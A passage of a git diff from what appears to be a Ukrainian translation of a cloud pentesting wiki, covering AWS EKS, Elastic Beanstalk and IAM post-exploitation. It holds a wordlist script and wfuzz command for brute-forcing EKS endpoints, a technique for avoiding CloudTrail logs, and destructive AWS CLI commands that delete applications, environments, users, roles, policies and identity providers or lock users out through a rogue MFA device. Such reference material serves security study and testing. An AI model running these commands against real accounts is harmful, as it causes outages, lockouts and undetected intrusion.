-- us-west-2 -- --profile -- -- eks -- get-token -- --cluster-name -- -command: aws -env: null -interactiveMode: IfAvailable -provideClusterInfo: false -``` -
- -### Від AWS до Kubernetes - -**Творець** **EKS кластера** **ЗАВЖДИ** зможе отримати доступ до частини кластера kubernetes групи **`system:masters`** (k8s адміністратор). На момент написання цього тексту **немає прямого способу** дізнатися **хто створив** кластер (можна перевірити CloudTrail). І **немає способу** **видалити** цей **привілей**. - -Спосіб надати **доступ до K8s для більше AWS IAM користувачів або ролей** - це використання **configmap** **`aws-auth`**. - -> [!WARNING] -> Тому будь-хто з **доступом на запис** до конфігураційної карти **`aws-auth`** зможе **компрометувати весь кластер**. - -Для отримання додаткової інформації про те, як **надати додаткові привілеї IAM ролям і користувачам** в **одному або різних облікових записах** і як **зловживати** цим, щоб [**перевірити privesc, перегляньте цю сторінку**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). - -Перегляньте також [**цей чудовий**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **пост, щоб дізнатися, як працює аутентифікація IAM -> Kubernetes**. - -### Від Kubernetes до AWS - -Можливо дозволити **OpenID аутентифікацію для облікового запису служби kubernetes**, щоб дозволити їм приймати ролі в AWS. Дізнайтеся, як [**це працює на цій сторінці**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). - -### ОТРИМАТИ Api Server Endpoint з JWT Токена - -Декодувавши JWT токен, ми отримуємо ідентифікатор кластера та також регіон. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Знаючи, що стандартний формат для URL EKS є -```bash -https://...eks.amazonaws.com -``` -Не знайшов жодної документації, яка б пояснювала критерії для 'двох символів' та 'числа'. Але, проводячи деякі тести, я бачу, що ці символи повторюються: - -- gr7 -- yl4 - -В будь-якому випадку, це всього лише 3 символи, ми можемо їх перебрати. Використовуйте наведену нижче скрипт для генерації списку. -```python -from itertools import product -from string import ascii_lowercase - -letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) -number_combinations = product('0123456789', repeat = 1) - -result = [ -f'{''.join(comb[0])}{comb[1][0]}' -for comb in product(letter_combinations, number_combinations) -] - -with open('out.txt', 'w') as f: -f.write('\n'.join(result)) -``` -Тоді з wfuzz -```bash -wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com -``` -> [!WARNING] -> Пам'ятайте, щоб замінити & . - -### Обхід CloudTrail - -Якщо зловмисник отримує облікові дані AWS з **дозволами на EKS**. Якщо зловмисник налаштовує свій власний **`kubeconfig`** (без виклику **`update-kubeconfig`**) як було пояснено раніше, **`get-token`** не генерує журнали в Cloudtrail, оскільки не взаємодіє з AWS API (просто створює токен локально). - -Отже, коли зловмисник спілкується з кластером EKS, **cloudtrail не зафіксує нічого, що стосується вкраденого користувача та доступу до нього**. - -Зверніть увагу, що **кластер EKS може мати увімкнені журнали**, які зафіксують цей доступ (хоча за замовчуванням вони вимкнені). - -### Вимагач EKS? - -За замовчуванням **користувач або роль, яка створила** кластер, **ЗАВЖДИ матиме адміністративні привілеї** над кластером. І це єдиний "безпечний" доступ, який AWS матиме до кластеру Kubernetes. - -Отже, якщо **зловмисник компрометує кластер, використовуючи fargate** і **видаляє всіх інших адміністраторів** та **видаляє користувача/роль AWS, яка створила** кластер, ~~зловмисник міг би **вимагати кластер**~~**. - -> [!TIP] -> Зверніть увагу, що якщо кластер використовує **EC2 VMs**, може бути можливим отримати адміністративні привілеї з **Node** і відновити кластер. -> -> Насправді, якщо кластер використовує Fargate, ви могли б EC2 вузли або перемістити все до EC2 в кластер і відновити його, отримуючи токени в вузлі. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md new file mode 100644 index 000000000..a5ffc58fb --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md @@ -0,0 +1,143 @@ +# AWS - EKS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## EKS + +Для отримання додаткової інформації перегляньте + +{{#ref}} +../../aws-services/aws-eks-enum.md +{{#endref}} + +### Перерахування кластера через AWS Console + +Якщо у вас є дозвіл **`eks:AccessKubernetesApi`**, ви можете **переглядати Kubernetes objects** через AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). + +### Підключення до AWS Kubernetes Cluster + +- Простий спосіб: +```bash +# Generate kubeconfig +aws eks update-kubeconfig --name aws-eks-dev +``` +- Не такий простий спосіб: + +Якщо ви можете **отримати токен** за допомогою **`aws eks get-token --name `**, але у вас немає дозволів на отримання інформації про кластер (describeCluster), ви можете **підготувати власний `~/.kube/config`**. Однак, маючи токен, вам все одно потрібен **url endpoint для підключення** (якщо вам вдалося отримати JWT token з pod — читайте [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) та **назва кластера**. + +У моєму випадку я не знайшов інформацію в CloudWatch logs, але я **знайшов її в LaunchTemaplates userData** і **також у EC2 машинах в userData**. Цю інформацію можна легко побачити в **userData**, наприклад у наступному прикладі (назва кластера була cluster-name): +```bash +API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com + +/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false +``` +
+ +kube config +```yaml +describe-cache-parametersapiVersion: v1 +clusters: +- cluster: +certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== +server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com +name: arn:aws:eks:us-east-1::cluster/ +contexts: +- context: +cluster: arn:aws:eks:us-east-1::cluster/ +user: arn:aws:eks:us-east-1::cluster/ +name: arn:aws:eks:us-east-1::cluster/ +current-context: arn:aws:eks:us-east-1::cluster/ +kind: Config +preferences: {} +users: +- name: arn:aws:eks:us-east-1::cluster/ +user: +exec: +apiVersion: client.authentication.k8s.io/v1beta1 +args: +- --region +- us-west-2 +- --profile +- +- eks +- get-token +- --cluster-name +- +command: aws +env: null +interactiveMode: IfAvailable +provideClusterInfo: false +``` +
+ +### З AWS до Kubernetes + +The **creator** of the **EKS cluster** is **ЗАВЖДИ** going to be able to get into the kubernetes cluster part of the group **`system:masters`** (k8s admin). At the time of this writing there is **no direct way** to find **who created** the cluster (you can check CloudTrail). And the is **no way** to **remove** that **privilege**. + +The way to grant **доступ до K8s для більшої кількості AWS IAM users або roles** is using the **configmap** **`aws-auth`**. + +> [!WARNING] +> Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**. + +For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps). + +Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**. + +### З Kubernetes до AWS + +It's possible to allow an **OpenID authentication for kubernetes service account** to allow them to assume roles in AWS. Learn how [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). + +### Отримання Api Server Endpoint з JWT Token + +Декодувавши JWT token ми отримуємо cluster id & також region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Knowing that the standard format for EKS url is +```bash +https://...eks.amazonaws.com +``` +Не знайшов жодної документації, яка пояснює критерії для 'двох символів' та 'числа'. Але, провівши кілька тестів, я помітив, що повторюються такі: + +- gr7 +- yl4 + +У будь-якому разі це лише 3 символи — їх можна bruteforce. Використай наведений нижче скрипт для генерації списку +```python +from itertools import product +from string import ascii_lowercase + +letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) +number_combinations = product('0123456789', repeat = 1) + +result = [ +f'{''.join(comb[0])}{comb[1][0]}' +for comb in product(letter_combinations, number_combinations) +] + +with open('out.txt', 'w') as f: +f.write('\n'.join(result)) +``` +Потім за допомогою wfuzz +```bash +wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com +``` +> [!WARNING] +> Пам'ятайте замінити & . + +### Bypass CloudTrail + +If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally). + +So when the attacker talks with the EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**. + +Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled). + +### EKS Ransom? + +By default the **user or role that created** a cluster is **ALWAYS going to have admin privileges** over the cluster. And that the only "secure" access AWS will have over the Kubernetes cluster. + +So, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**. + +> [!TIP] +> Зверніть увагу, що якщо кластер використовував **EC2 VMs**, можливо отримати Admin privileges з **Node** і відновити кластер. +> +> Насправді, якщо cluster використовує Fargate, можна додати EC2 nodes або перемістити все до EC2 в кластері і відновити його, отримавши доступ до tokens на вузлі. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md deleted file mode 100644 index e256673ad..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ /dev/null @@ -1,70 +0,0 @@ -# AWS - Elastic Beanstalk Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Elastic Beanstalk - -Для отримання додаткової інформації: - -{{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md -{{#endref}} - -### `elasticbeanstalk:DeleteApplicationVersion` - -> [!NOTE] -> TODO: Перевірити, чи потрібні додаткові дозволи для цього - -Зловмисник з дозволом `elasticbeanstalk:DeleteApplicationVersion` може **видалити існуючу версію програми**. Ця дія може порушити конвеєри розгортання програми або призвести до втрати конкретних версій програми, якщо вони не були збережені. -```bash -aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version -``` -**Потенційний вплив**: Порушення розгортання додатка та потенційна втрата версій додатка. - -### `elasticbeanstalk:TerminateEnvironment` - -> [!NOTE] -> TODO: Перевірити, чи потрібні додаткові дозволи для цього - -Зловмисник з дозволом `elasticbeanstalk:TerminateEnvironment` може **завершити існуюче середовище Elastic Beanstalk**, що призведе до простою додатка та потенційної втрати даних, якщо середовище не налаштоване для резервного копіювання. -```bash -aws elasticbeanstalk terminate-environment --environment-name my-existing-env -``` -**Потенційний вплив**: Час простою програми, потенційна втрата даних та порушення послуг. - -### `elasticbeanstalk:DeleteApplication` - -> [!NOTE] -> TODO: Перевірити, чи потрібні додаткові дозволи для цього - -Зловмисник з дозволом `elasticbeanstalk:DeleteApplication` може **видалити всю програму Elastic Beanstalk**, включаючи всі її версії та середовища. Ця дія може призвести до значних втрат ресурсів програми та конфігурацій, якщо вони не були створені резервні копії. -```bash -aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force -``` -**Потенційний вплив**: Втрата ресурсів програми, конфігурацій, середовищ та версій програми, що призводить до перерви в обслуговуванні та потенційної втрати даних. - -### `elasticbeanstalk:SwapEnvironmentCNAMEs` - -> [!NOTE] -> TODO: Перевірити, чи потрібні додаткові дозволи для цього - -Зловмисник з дозволом `elasticbeanstalk:SwapEnvironmentCNAMEs` може **поміняти CNAME записи двох середовищ Elastic Beanstalk**, що може призвести до того, що користувачам буде надана неправильна версія програми або до непередбачуваної поведінки. -```bash -aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 -``` -**Потенційний вплив**: Надання неправильної версії програми користувачам або виклик ненавмисної поведінки в програмі через змінені середовища. - -### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` - -> [!NOTE] -> TODO: Перевірити, чи потрібні додаткові дозволи для цього - -Зловмисник з дозволами `elasticbeanstalk:AddTags` та `elasticbeanstalk:RemoveTags` може **додавати або видаляти теги на ресурсах Elastic Beanstalk**. Ця дія може призвести до неправильного розподілу ресурсів, виставлення рахунків або управління ресурсами. -```bash -aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 - -aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag -``` -**Потенційний вплив**: Неправильне виділення ресурсів, виставлення рахунків або управління ресурсами через додані або видалені теги. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md new file mode 100644 index 000000000..a63e33c22 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md @@ -0,0 +1,70 @@ +# AWS - Elastic Beanstalk Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Elastic Beanstalk + +Для отримання додаткової інформації: + +{{#ref}} +../../aws-services/aws-elastic-beanstalk-enum.md +{{#endref}} + +### `elasticbeanstalk:DeleteApplicationVersion` + +> [!NOTE] +> TODO: Перевірити, чи потрібні для цього додаткові дозволи + +Зловмисник із дозволом `elasticbeanstalk:DeleteApplicationVersion` може **видалити існуючу версію застосунку**. Ця дія може порушити конвеєри розгортання застосунку або призвести до втрати певних версій застосунку, якщо вони не були збережені в резерві. +```bash +aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version +``` +**Потенційний вплив**: Переривання розгортання додатку та потенційна втрата версій додатку. + +### `elasticbeanstalk:TerminateEnvironment` + +> [!NOTE] +> TODO: Перевірити, чи потрібні додаткові дозволи для цього + +Зловмисник із дозволом `elasticbeanstalk:TerminateEnvironment` може **припинити існуюче середовище Elastic Beanstalk**, що призведе до простою додатку та потенційної втрати даних, якщо середовище не налаштоване на резервне копіювання. +```bash +aws elasticbeanstalk terminate-environment --environment-name my-existing-env +``` +**Potential Impact**: Простій додатку, потенційна втрата даних та порушення роботи сервісів. + +### `elasticbeanstalk:DeleteApplication` + +> [!NOTE] +> TODO: Перевірити, чи потрібні для цього додаткові дозволи + +Атакувальник з дозволом `elasticbeanstalk:DeleteApplication` може **видалити весь додаток Elastic Beanstalk**, включаючи всі його версії та середовища. Ця дія може призвести до значної втрати ресурсів і конфігурацій додатку, якщо не зроблено резервних копій. +```bash +aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force +``` +**Можливий вплив**: Втрата ресурсів додатку, конфігурацій, середовищ та версій додатку, що може призвести до переривання роботи сервісу та потенційної втрати даних. + +### `elasticbeanstalk:SwapEnvironmentCNAMEs` + +> [!NOTE] +> TODO: Перевірити, чи потрібні для цього додаткові дозволи + +Зловмисник із дозволом `elasticbeanstalk:SwapEnvironmentCNAMEs` може **поміняти місцями CNAME записи двох Elastic Beanstalk environments**, що може призвести до того, що користувачам буде надана неправильна версія додатку або спричинити непередбачену поведінку. +```bash +aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 +``` +**Потенційний вплив**: Надання користувачам неправильної версії додатка або спричинення небажаної поведінки додатка через переплутані середовища. + +### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` + +> [!NOTE] +> TODO: Перевірити, чи потрібні для цього додаткові дозволи + +Зловмисник із дозволами `elasticbeanstalk:AddTags` та `elasticbeanstalk:RemoveTags` може **додавати або видаляти теги на ресурсах Elastic Beanstalk**. Ця дія може призвести до неправильного розподілу ресурсів, помилкового виставлення рахунків або проблем у керуванні ресурсами. +```bash +aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 + +aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag +``` +**Потенційний вплив**: Неправильне виділення ресурсів, виставлення рахунків або управління ресурсами через додані або видалені теги. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md deleted file mode 100644 index d5dd73bcb..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ /dev/null @@ -1,166 +0,0 @@ -# AWS - IAM Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## IAM - -Для отримання додаткової інформації про доступ IAM: - -{{#ref}} -../aws-services/aws-iam-enum.md -{{#endref}} - -## Confused Deputy Problem - -Якщо ви **дозволяєте зовнішньому обліковому запису (A)** отримати доступ до **ролі** у вашому акаунті, ви, ймовірно, матимете **0 видимості** щодо того, **хто саме може отримати доступ до цього зовнішнього облікового запису**. Це проблема, тому що якщо інший зовнішній обліковий запис (B) може отримати доступ до зовнішнього облікового запису (A), то можливо, що **B також зможе отримати доступ до вашого акаунту**. - -Тому, дозволяючи зовнішньому обліковому запису доступ до ролі у вашому акаунті, можна вказати `ExternalId`. Це "секретний" рядок, який зовнішній обліковий запис (A) **повинен вказати** для того, щоб **assume the role in your organization**. Оскільки **зовнішній обліковий запис B не знатиме цей рядок**, навіть якщо він має доступ до A, він **не зможе отримати доступ до вашої ролі**. - -
- -Проте зауважте, що цей `ExternalId` "секрет" **не є секретом**: будь-хто, хто може **прочитати IAM assume role policy**, зможе його побачити. Але поки зовнішній обліковий запис A його знає, а зовнішній обліковий запис **B не знає**, це **перешкоджає B зловживати A, щоб отримати доступ до вашої ролі**. - -Example: -```json -{ -"Version": "2012-10-17", -"Statement": { -"Effect": "Allow", -"Principal": { -"AWS": "Example Corp's AWS Account ID" -}, -"Action": "sts:AssumeRole", -"Condition": { -"StringEquals": { -"sts:ExternalId": "12345" -} -} -} -} -``` -> [!WARNING] -> Щоб attacker зміг експлуатувати confused deputy, йому потрібно якимось чином перевірити, чи можуть principals поточного облікового запису impersonate roles в інших облікових записах. - -### Несподівані довірчі налаштування - -#### Wildcard як principal -```json -{ -"Action": "sts:AssumeRole", -"Effect": "Allow", -"Principal": { "AWS": "*" } -} -``` -Ця політика **дозволяє всім AWS** приймати роль. - -#### Служба як суб'єкт -```json -{ -"Action": "lambda:InvokeFunction", -"Effect": "Allow", -"Principal": { "Service": "apigateway.amazonaws.com" }, -"Resource": "arn:aws:lambda:000000000000:function:foo" -} -``` -Ця політика **дозволяє будь-якому акаунту** налаштувати свій apigateway для виклику цієї Lambda. - -#### S3 як принципал -```json -"Condition": { -"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, -"StringEquals": { -"aws:SourceAccount": "123456789012" -} -} -``` -Якщо S3 bucket вказано як principal — оскільки S3 buckets не мають Account ID — і ви **видалили свій bucket, а зловмисник створив його** у своєму account, то вони можуть цим зловживати. - -#### Не підтримується -```json -{ -"Effect": "Allow", -"Principal": { "Service": "cloudtrail.amazonaws.com" }, -"Action": "s3:PutObject", -"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" -} -``` -Поширений спосіб уникнути проблем типу "Confused Deputy" — використання умови з `AWS:SourceArn` для перевірки ARN джерела. Однак **деякі сервіси можуть цього не підтримувати** (наприклад, CloudTrail за деякими джерелами). - -### Видалення облікових даних -Маючи будь-який із наступних дозволів — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — актор може видалити ключі доступу, профілі входу, SSH-ключі, сервісно-специфічні облікові дані, профілі інстансів, сертифікати або публічні ключі CloudFront, а також від'єднати ролі від профілів інстансів. Такі дії можуть негайно блокувати легітимних користувачів та застосунки й спричиняти відмову в обслуговуванні або втрату доступу для систем, що залежать від цих облікових даних, тому ці IAM-дозволи мають бути суворо обмежені та підлягати моніторингу. -```bash -# Remove Access Key of a user -aws iam delete-access-key \ ---user-name \ ---access-key-id AKIAIOSFODNN7EXAMPLE - -## Remove ssh key of a user -aws iam delete-ssh-public-key \ ---user-name \ ---ssh-public-key-id APKAEIBAERJR2EXAMPLE -``` -### Видалення ідентичностей -За наявності дозволів, таких як `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` або `iam:RemoveUserFromGroup`, суб'єкт може видаляти користувачів, ролі або групи — або змінювати членство в групах — видаляючи ідентичності та пов'язані сліди. Це може негайно порушити доступ для людей і сервісів, які залежать від цих ідентичностей, спричиняючи відмову в обслуговуванні або втрату доступу, тому ці дії IAM повинні бути суворо обмежені та моніторені. -```bash -# Delete a user -aws iam delete-user \ ---user-name - -# Delete a group -aws iam delete-group \ ---group-name - -# Delete a role -aws iam delete-role \ ---role-name -``` -### -З будь-яким із наведених дозволів — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — особа може видаляти або від'єднувати керовані/вбудовані політики, видаляти версії політик або межі дозволів і відв'язувати політики від користувачів, груп або ролей. Це руйнує авторизації та може змінити модель дозволів, спричиняючи негайну втрату доступу або відмову в обслуговуванні для суб'єктів, які покладалися на ці політики, тому ці дії в IAM мають бути суворо обмежені й підлягати моніторингу. -```bash -# Delete a group policy -aws iam delete-group-policy \ ---group-name \ ---policy-name - -# Delete a role policy -aws iam delete-role-policy \ ---role-name \ ---policy-name -``` -### Видалення федеративної ідентичності -За допомогою `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, and `iam:RemoveClientIDFromOpenIDConnectProvider`, зловмисник може видалити провайдерів ідентичності OIDC/SAML або видалити client IDs. Це порушує федеративну автентифікацію, перешкоджає валідації токенів і негайно блокує доступ користувачів та сервісів, які покладаються на SSO, доки IdP або конфігурації не будуть відновлені. -```bash -# Delete OIDCP provider -aws iam delete-open-id-connect-provider \ ---open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com - -# Delete SAML provider -aws iam delete-saml-provider \ ---saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS -``` -### Несанкціонована активація MFA -За допомогою `iam:EnableMFADevice` зловмисник може зареєструвати MFA-пристрій в обліковому записі користувача, перешкоджаючи законному користувачеві увійти. Після активації несанкціонованого MFA користувач може бути заблокований до видалення або скидання пристрою (примітка: якщо зареєстровано кілька MFA-пристроїв, для входу достатньо одного, тож ця атака не вплине на відмову в доступі). -```bash -aws iam enable-mfa-device \ ---user-name \ ---serial-number arn:aws:iam::111122223333:mfa/alice \ ---authentication-code1 123456 \ ---authentication-code2 789012 -``` -### Підміна метаданих сертифікатів/ключів -За допомогою `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` зловмисник може змінити статус або метадані публічних ключів та сертифікатів. Позначивши ключі/сертифікати як неактивні або змінивши посилання на них, він може порушити аутентифікацію SSH, анулювати перевірки X.509/TLS і негайно зірвати роботу сервісів, що залежать від цих облікових даних, спричинивши втрату доступу або доступності. -```bash -aws iam update-ssh-public-key \ ---user-name \ ---ssh-public-key-id APKAEIBAERJR2EXAMPLE \ ---status Inactive - -aws iam update-server-certificate \ ---server-certificate-name \ ---new-path /prod/ -``` -## Посилання - -- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md new file mode 100644 index 000000000..183162c95 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md @@ -0,0 +1,166 @@ +# AWS - IAM Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## IAM + +Більше інформації про доступ IAM: + +{{#ref}} +../../aws-services/aws-iam-enum.md +{{#endref}} + +## Confused Deputy Problem + +Якщо ви **дозволяєте зовнішньому обліковому запису (A)** отримати доступ до **role** у вашому обліковому записі, ви, ймовірно, матимете **0 видимості** щодо **того, хто саме може отримати доступ до того зовнішнього облікового запису**. Це проблема, бо якщо інший зовнішній обліковий запис (B) може отримати доступ до зовнішнього облікового запису (A), то можливо, що **B також зможе отримати доступ до вашого облікового запису**. + +Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**. + +
